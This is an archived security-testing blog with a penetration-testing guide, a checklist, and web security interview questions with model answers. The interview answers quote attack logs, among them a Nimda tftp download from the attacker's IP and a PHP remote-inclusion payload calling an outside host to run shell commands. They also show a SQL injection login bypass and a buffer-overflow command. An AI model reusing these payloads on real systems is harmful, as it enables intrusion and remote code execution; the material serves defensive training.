Archive

Archive for the ‘Security Testing Info’ Category

Penetration Testing – Complete Guide with Sample Test Cases

June 30, 2012 1 comment

What is Penetration Testing?
It’s the process to identify security vulnerabilities in an application by evaluating the system or network with various malicious techniques. Purpose of this test is to secure important data from outsiders like hackers who can have unauthorized access to system. Once vulnerability is identified it is used to exploit system in order to gain access to sensitive information.

Causes of vulnerabilities:
– Design and development errors
– Poor system configuration
– Human errors

Why Penetration testing?

– Financial data must be secured while transferring between different systems
– Many clients are asking for pen testing as part of the software release cycle
– To secure user data
– To find security vulnerabilities in an application

Penetration testing

It’s very important for any organization to identify security issues present in internal network and computers. Using this information organization can plan defense against any hacking attempt. User privacy and data security are the biggest concerns nowadays. Imagine if any hacker manage to get user details of social networking site like Facebook. Organization can face legal issues due to a small loophole left in a software system. Hence big organizations are looking for PCI compliance certifications before doing any business with third party clients.

What should be tested?
– Software
– Hardware
– Network
– Process

Penetration Testing Types:

1) Social Engineering: Human errors are the main causes of security vulnerability. Security standards and policies should be followed by all staff members to avoid social engineering penetration attempt. Example of these standards include not to mention any sensitive information in email or phone communication. Security audits can be conducted to identify and correct process flaws.

2) Application Security Testing: Using software methods one can verify if the system is exposed to security vulnerabilities.

3) Physical Penetration Test: Strong physical security methods are applied to protect sensitive data. This is generally useful in military and government facilities. All physical network devices and access points are tested for possibilities of any security breach.

Pen Testing Techniques:
1) Manual penetration test
2) Using automated penetration test tools
3) Combination of both manual and automated process
The third process is more common to identify all kinds of vulnerabilities.

Penetration Testing Tools:

Automated tools can be used to identify some standard vulnerability present in an application. Pentest tools scan code to check if there is malicious code present which can lead to potential security breach. Pentest tools can verify security loopholes present in the system like data encryption techniques and hard coded values like username and password.

Criteria to select the best penetration tool:
– It should be easy to deploy, configure and use.
– It should scan your system easily.
– It should categorize vulnerabilities based on severity that needs immediate fix.
– It should be able to automate verification of vulnerabilities.
– It should re-verify exploits found previously.
– It should generate detailed vulnerability reports and logs.

Once you know what tests you need to perform you can either train your internal test resources or hire expert consultants to do the penetration task for you.

Examples of Free and Commercial Tools –
Nmap, Nessus, Metasploit, Wireshark, OpenSSL, Cain & Abel, THC Hydra, w3af
Commercial services: Pure Hacking, Torrid Networks, SecPoint, Veracode.

Limitations of Pentest tools: Sometimes these tools can flag false positive output which results in spending more developer time on analyzing such vulnerabilities which are not present.

Manual Penetration Test:

It’s difficult to find all vulnerabilities using automated tools. There are some vulnerabilities which can be identified by manual scan only. Penetration testers can perform better attacks on application based on their skills and knowledge of system being penetrated. The methods like social engineering can be done by humans only. Manual checking includes design, business logic as well as code verification.

Penetration Test Process:
Let’s discuss the actual process followed by test agencies or penetration testers. Identifying vulnerabilities present in system is the first important step in this process. Corrective action is taken on these vulnerability and same penetration tests are repeated until system is negative to all those tests.

We can categorize this process in following methods:
1) Data collection: Various methods including Google search are used to get target system data. One can also use web page source code analysis technique to get more info about the system, software and plugin versions. There are many free tools and services available in the market which can give you information like database or table names, DB versions, software versions, hardware used and various third party plugins used in the target system.

2) Vulnerability Assessment: Based on the data collected in first step one can find the security weakness in the target system. This helps penetration testers to launch attacks using identified entry points in the system.

3) Actual Exploit: This is crucial step. It requires special skills and techniques to launch attack on target system. Experienced penetration testers can use their skills to launch attack on the system.

4) Result analysis and report preparation: After completion of penetration tests detailed reports are prepared for taking corrective actions. All identified vulnerabilities and recommended corrective methods are listed in these reports. You can customize vulnerability report format (HTML, XML, MS Word or PDF) as per your organization needs.

Penetration testing sample test cases (test scenarios):

Remember this is not functional testing. In Pentest your goal is to find security holes in the system. Below are some generic test cases and not necessarily applicable for all applications.

1) Check if web application is able to identify spam attacks on contact forms used in the website.
2) Proxy server – Check if network traffic is monitored by proxy appliances. Proxy server make it difficult for hackers to get internal details of the network thus protecting the system from external attacks.
3) Spam email filters – Verify if incoming and outgoing email traffic is filtered and unsolicited  emails are blocked. Many email clients come with in-build spam filters which needs to be configured as per your needs. These configuration rules can be applied on email headers, subject or body.
4) Firewall – Make sure entire network or computers are protected with Firewall. Firewall can be a software or hardware to block unauthorized access to system. Firewall can prevent sending data outside the network without your permission.
5) Try to exploit all servers, desktop systems, printers and network devices.
6) Verify that all usernames and passwords are encrypted and transferred over secured connection like https.
7) Verify information stored in website cookies. It should not be in readable format.
8 ) Verify previously found vulnerabilities to check if the fix is working.
9) Verify if there is no open port in network.
11) Verify all telephone devices.
12) Verify WIFI network security.
13) Verify all HTTP methods. PUT and Delete methods should not be enabled on web server .
14) Password should be at least 8 character long containing at least one number and one special character.
15) Username should not be like “admin” or “administrator”.
16) Application login page should be locked upon few unsuccessful login attempts.
17) Error messages should be generic and should not mention specific error details like “Invalid username” or “Invalid password”.
19) Verify if special characters, html tags and scripts are handled properly as an input value.
20) Internal system details should not be revealed in any of the error or alert messages.
21) Custom error messages should be displayed to end user in case of web page crash.
22) Verify use of registry entries. Sensitive information should not be kept in registry.
23) All files must be scanned before uploading to server.
24) Sensitive data should not be passed in urls while communicating with different internal modules of the web application.
25) There should not be any hard coded username or password in the system.
26) Verify all input fields with long input string with and without spaces.
27) Verify if reset password functionality is secure.
28) Verify application for SQL Injection.
29) Verify application for Cross Site Scripting.
31) Important input validations should be done at server side instead of JavaScript checks at client side.
32) Critical resources in the system should be available to authorized persons and services only.
33) All access logs should be maintained with proper access permissions.
34) Verify user session ends upon log off.
35) Verify that directory browsing is disabled on server.
36) Verify that all applications and database versions are up to date.
37) Verify url manipulation to check if web application is not showing any unwanted information.
38) Verify memory leak and buffer overflow.
39) Verify if incoming network traffic is scanned to find Trojan attacks.
40) Verify if system is safe from Brute Force Attacks – a trial and error method to find sensitive information like passwords.
41) Verify if system or network is secured from DoS (denial-of-service) attacks. Hacker can target network or single computer with continuous requests due to which resources on target system gets overloaded resulting in denial of service for legit requests.

These are just the basic test scenarios to get started with Pentest. There are hundreds of advanced penetration methods which can be done either manually or with the help of automation tools.

Further reading:
Pen Testing Standards – PCI DSS (Payment Card Industry Data Security Standard), OWASP (Open Web Application Security Project), ISO/IEC 27002, OSSTMM (The Open Source Security Testing Methodology Manual).
Certifications – GPEN, Associate Security Tester (AST), Senior Security Tester (SST), Certified Penetration Tester (CPT).

Finally as a penetration tester you should collect and log all vulnerabilities in the system. Don’t ignore any scenario considering that it won’t be executed by end users.

 

Categories: Security Testing Info Tags: ,

Web Security Interview Questions

April 30, 2012 4 comments
Web Security Interview Questions

The goal of this document is to provide appropriate questions for HR/Managers to pose to individuals who are applying for web security related positions.  These questions do not have right or wrong answers, but rather spark relevant conversation between the applicant and the hiring staff.

 

Entry Level Questions

 

  1. 1.   What do you see as the most critical and current threats effecting Internet accessible websites?

 

Goal of question – To gauge the applicant’s knowledge of current web related threats.  Topics such as Denial of Service, Brute Force, Buffer Overflows, and Input Validation are all relevant topics.  Hopefully they will mention information provided by web security organizations such as the Web Application Security Consortium (WASC) or the Open Web Application Security Project (OWASP).

 

 

  1. 2.   What online resources do you use to keep abreast of web security issues?  Can you give an example of a recent web security vulnerability or threat?

 

Goal of question – Determine if the applicant utilizes computer security resources such as CERT, SANS Internet Storm Center or ICAT.  Email lists such as securityfocus, bugtraq, SANS @RISK, etc. are also good resources. Recent examples of threats will vary depending on current events, but issues such as new web based worms (PHP Santy Worm) or applications, which are in wide use (awstats scripts) are acceptable.

 

  1. What do you see as challenges to successfully deploying/monitoring web intrusion detection?

 

Goal of question – We are attempting to see if the applicant has a wide knowledge of web security monitoring and IDS issues such as:

 

  • Limitations of NIDS for web monitoring (SSL, semantic issues with understanding HTTP)
  • Proper logging – increasing the verboseness of logging (Mod_Security audit_log)
  • Remote Centralized Logging
  • Alerting Mechanisms
  • Updating Signatures/Policies

 

 

  1. What is your definition of the term “Cross-Site Scripting”?  What is the potential impact to servers and clients?

 

Goal of question –This question will determine if the applicant is well versed in the terminology used in web security.  The applicant needs to be able to articulate highly technological topics to a wide audience.  The second question will help to verify that the applicant fully understands how XSS attacks work and the impact to client information.  WASC has a web security glossary of terms that may be of help – http://www.webappsec.org/glossary.html

 

 

Cross-Site Scripting: (Acronym – XSS) An attack technique that forces a web site to echo client-supplied data, which execute in a user’s web browser. When a user is Cross-Site Scripted, the attacker will have access to all web browser content (cookies, history, application version, etc). XSS attacks do not typically directly target the web server or application, but are rather aimed at the client.  The web server is merely used as a conduit for the XSS data to be presented to the end client. See also “Client-Side Scripting”.

 

 

  1. What are the most important steps you would recommend for securing a new web server? Web application?

 

Goal of question – Once again, there is no right or wrong answer, however we are interested in what the applicant views as important.

 

Web Server Security:

  • Update/Patch the web server software
  • Minimize the server functionality – disable extra modules
  • Delete default data/scripts
  • Increase logging verboseness
  • Update Permissions/Ownership of files

 

Web Application Security:

  • Make sure Input Validation is enforced within the code – Security QA testing
  • Configured to display generic error messages
  • Implement a software security policy
  • Remove or protect hidden files and directories

 

 

Advanced Level Questions

 

  1. 1.   Imagine that we are running an Apache reverse proxy server and one of the servers we are proxy for is a Windows IIS server.  What does the log entry suggest has happened?  What would you do in response to this entry?

 

68.48.142.117 - - [09/Mar/2004:22:22:57 -0500] "GET /c/winnt/system32/
cmd.exe?/c+dir HTTP/1.0" 200 566 "-" "-"

68.48.142.117 – – [09/Mar/2004:22:23:48 -0500] “GET /c/winnt/system32/

cmd.exe?/c+tftp%20-%2068.48.142.117%20GET%20cool.dll%20c:\\httpodbc.dll HTTP/1.0” 200 566 “-” “-”

 

Goal of question – To see if the applicant is fluent at reading web server log files in the Common Log Format (CLF).  In this scenario, the client system (68.48.142.117) is infected with the Nimda worm.  These requests will not affect our Apache proxy server since this is a Microsoft vulnerability.  While it does not impact Apache, the logs do indicate that the initial request was successful (status code of 200).  The Nimda worm will only send the level 2 request (trying to use Trivial FTP to infect the target) if the initial request is successful.  Depending on the exact proxying rules in place, it would be a good idea to inspect the internal IIS server to verify that it has not been compromised.

 

If you were not using Apache as the reverse proxy, what Microsoft application/tool could you use to mitigate this attack?

 

You could use either Microsoft’s Internet and Security Acceleration (ISA) server as a front-end proxy or implement URLScan on the target IIS server.  The urlscan.ini file has the AllowDotInPath directive which will block directory traversal attempts.

 

 

  1. 2.   You are engaged in a penetration-test where you are attempting to gain access to a protected location.  You are presented with this login screen:

 

What are some examples of you how you would attempt to gain access?

 

Goal of question – Determine if the applicant has a wide knowledge of different authentication vulnerabilities.  They may attempt default usernames/passwords or attempt SQL Injection queries that provide an SQL true statement (such as – ‘ OR 1=1#).  If they provide SQL examples, then offer them the following Error document information and ask them what this indicates.

 

ODBC Error Code = 37000 (Syntax error or access violation)

 

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 4: Incorrect syntax near ‘=’.

 

Data Source = “ECommerceTheArchSupport2”

SQL = “SELECT QuickJump_Items.ItemId FROM QuickJump_Items WHERE QuickJump_Items.ItemId <> 0 AND QuickJumpId =”



The error occurred while processing an element with a general identifier of (CFQUERY), occupying document position (1:1) to (1:42) in the template file K:\InetPub\clients\login\http\ailment.cfm


 


The specific sequence of files included or processed is:

K:\INETPUB\CLIENTS\LOGIN\HTTP\AILMENT.CFM   







 


This error message indicates that the target web application if running Microsoft SQL and discloses directory structures.


 


 


    

  1. 3.   What application generated the log file entry below?  What type of attack is this?  Assuming the index.php program is vulnerable, was this attack successful?
    2. 



 


========================================


Request: 200.158.8.207 – – [09/Oct/2004:19:40:46 –0400] “POST /index.php HTTP/1.1” 403 743


Handler: cgi-script


—————————————-


POST /index.php HTTP/1.1


Host: http://www.foo.com


Connection: keep-alive


Accept: */*


Accept-Language: en-us


Content-Encoding: gzip, deflate


Content-Type: application/x-www-form-urlencoded


User-Agent: Mozilla 4.0 (Linux)


Content-Length: 65


X-Forwarded-For: 200.158.8.207


mod_security-message: Access denied with code 403. Pattern match “uname\x20-a” at POST_PAYLOAD


mod_security-action: 403


 


65




lid=http://th3.ownz.p5.org.uk/lila.jpg?&cmd=cd /tmp;id;lsuname -a




 


 


Goal of question – to verify that the applicant can interpret various web log files, identify attacks and possible impacts.  The Mod_Security Apache module generated this data in the audit_log file.  The log entry indicates that an attacker is attempting to exploit a PHP file inclusion vulnerability in the index.php script.  The commands being passed are in the POST PAYLOAD of the command.  This attack was not successful for the following two reasons:


 


    

  • The mod_security-message header indicates that Mod_Security blocked this request based on a converted Snort web-attack rule when it identified the “uname –a” data in the POST PAYLOAD.
    • 

  • The attacker also made a typo in the OS commands being passed in the POST PAYLOAD.  She did not include a semicolon “;” between the ls and uname commands.  The target host would fail to execute the “lsuname” command.
    • 



 


 


    

  1. 4.   One of your web servers is logging multiple requests similar to the following:
    2. 



 


201.1.199.155 – – [26/Dec/2004:01:55:48 -0500] “PUT /hacked.htm HTTP/1.0” 403 769 “Microsoft Data Access Internet Publishing Provider DAV 1.1” “-“


What does this log entry indicate?  How could you identify what the contents are of the “hacked.htm” file that the attacker is trying to upload?


 


Goal of question – Determine if the applicant can identify both the attack (a web defacement attempt using the HTTP PUT Method), as well as, the logging limitations of CLF.  In this type of attack, the defacement text is sent in the request body and not on the URL Request line.  In order to identify this data, a network sniffing application would need to be utilized.  An application such as Snort could be used with a custom rule to identify this activity.  Here is an example rule –


 


alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:”LOCAL Put attempt”; flow:to_server,established; tag:session,50,packets; pcre:”/^PUT /A”; sid:3000001; rev:1;)


 


 


    

  1. 5.   You have been asked to review the source code for a compiled script that is being used to validate logon credentials for a web application.  The file is called “logon_validate” and a typical logon request looks like this –
    2. 



 


“GET /cgi-bin/logon_validate?login=test&password=test”


The source code is shown below –


 






void show_error(void) {


 


// AUTHENTICATION ERROR


 


exit(-1);


 


}


 


int main(int argc, char **argv) {


char error_on_auth=’1′;


char user[128];


char pass[128];


char *ch_ptr_begin;


char *ch_ptr_end;


 


/**********************************/


/* Get Username from Query String */


/**********************************/


ch_ptr_begin=(char *)strstr(****QUERY_STRING****,”login=”);


if (ch_ptr_begin==NULL)


show_error();


ch_ptr_begin+=6;


ch_ptr_end=(char *)strstr(ch_ptr_begin,”&”);


if (ch_ptr_end==NULL)


show_error();


*(ch_ptr_end++)=”;


strcpy(user,ch_ptr_begin);


 


 


/**********************************/


/* Get Password from Query String */


/**********************************/


ch_ptr_begin=(char *)strstr(ch_ptr_end,”password=”);


if (ch_ptr_begin==NULL)


show_error();


ch_ptr_begin+=9;


ch_ptr_end=(char *)strstr(ch_ptr_begin,”&”);


if (ch_ptr_end!=NULL) *(ch_ptr_end++)=”;


strcpy(pass,ch_ptr_begin);


 


 


if ((strcmp(user,GOOD_USER)==0) && (strcmp(pass,GOOD_PASS)==0)) error_on_auth=’0′;


 


if (error_on_auth==’0′) {


 


// AUTHENTICATION OK!!


 


 


} else {


 


// AUTHENTICATION ERROR


show_error();


 


 


}


 


// return(0); hehe could be evil ;PPPPP


exit(0);


 


}


 







 


This pseudo-code is taken from the NGSec Web Auth Games http://quiz.ngsec.biz:8080/game1/level6/replicant.php


 


Do you see any problems with this script?  How could an attacker exploit this script to bypass the authentication mechanisms in this script?  What are some mitigation options?


 


Goal of question – This is most likely the most complex question being asked during the interview due to the fact that the applicant will need to apply multiple layers of analysis, including both the attacker and defender perspectives.


 


Reference “Smashing The Stack For Fun And Profit” for technical details –


http://www.phrack.org/phrack/49/P49-14


 


The security issue with this script has to do with a buffer overflow problem in the way that the script is using the “error_on_auth” condition.  The error_on_auth condition is initially declared to be “1” which means that he user is not authenticated.  The “user” condition was declared directly after the error_on_auth and has been allocated 128 bytes.  Due to the ordering of the declaration of the error_on_auth and user parameters, they occupy adjacent locations on the running stack.  The result is that if the attacker submits a username that is 129 bytes (with the last byte being “0”), they can overwrite the error_on_auth data.  A Unix command such as the following would achieve this goal –


 


http://www.companyx.com/cgi-bin/validate_logon?logon=000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000


 


or


 


# wget http://www.companyx.com/cgi-bin/validate_logon?logon=`perl -e print "0"x129`


 


Mitigation options include the following:


    

  • Update the validate_logon soruce code to fix the problem, such as using strncpy() instead of strcpy ().
    • 

  • If the source code could not be updated, then security filters would need to be implemented on the web server.
    • 

  • Using Mod_Security, you could implement some security filters for the “validate_logon” URL such as these:

      

    • Only allow letters in the username argument.  This would prevent the client from overwriting the error_on_auth data with a zero.
      • 

    

    • 



 


<Location /cgi-bin/validate_logon>


SecFilterSelective ARG_LOGIN “!^[a-zA-Z]”


</Location>


 


 


    

      

    • You could also add another rule to restrict the size of the username/password arguments to be less then 129 characters.
      • 

    



 


<Location /cgi-bin/validate_logon>


SecFilterSelective ARG_LOGIN “!^[a-zA-Z]”


SecFilterSelective ARG_LOGIN|ARG_PASSWORD “.{129,}”


</Location>


 


 


A web application firewall (WAF) device could be implemented on the network to protect the entire web site. These devices have positive policy capability that should identify these types of attacks as “anomalous” and deny them.  A brief listing of WAF vendors include Teros, Netcontiuum, Imperva, Watchfire, Breach, Axiliance, and others.


 


 


 

								

			

			

				Categories: Interview Questions, Security Testing Info
				Tags: , , , , 
			

		

			

			
Security Testing Checklist

			

				April 30, 2012
												4 comments
				

			

			

				
Here is one Security Testing Checklist that may help you all:











1. Are all the Internet-facing servers within the system registered with the corporate web office?


2. Do the test plans for the system include tests to verify that security functionality has been properly

implemented?


3. If the system is rated high on the business effect assessment or if it is Internet facing, has the

company security office been consulted to determine whether or not additional security testing

is required?


4. Has the security test covered the following?

a. application testing

b. back doors in code

c. denial of service testing

d. directory permissions

e. document grinding (electronic waste research)

f. exploit research

g. firewall and application control list

h. intrusion detection systems

i. manual vulnerability testing and verification

j. network surveying

k. password cracking

l. PBX testing

m. port scanning

n. privacy review

o. redundant automated vulnerability scanning

p. review of IDS and server logs

q. security policy review

r. services probing

s. social engineering

t. system fingerprinting

u. trusted systems testing

v. user accounts

w. wireless leak tests











								

			

			

				Categories: Security Testing Info
				Tags: , , ,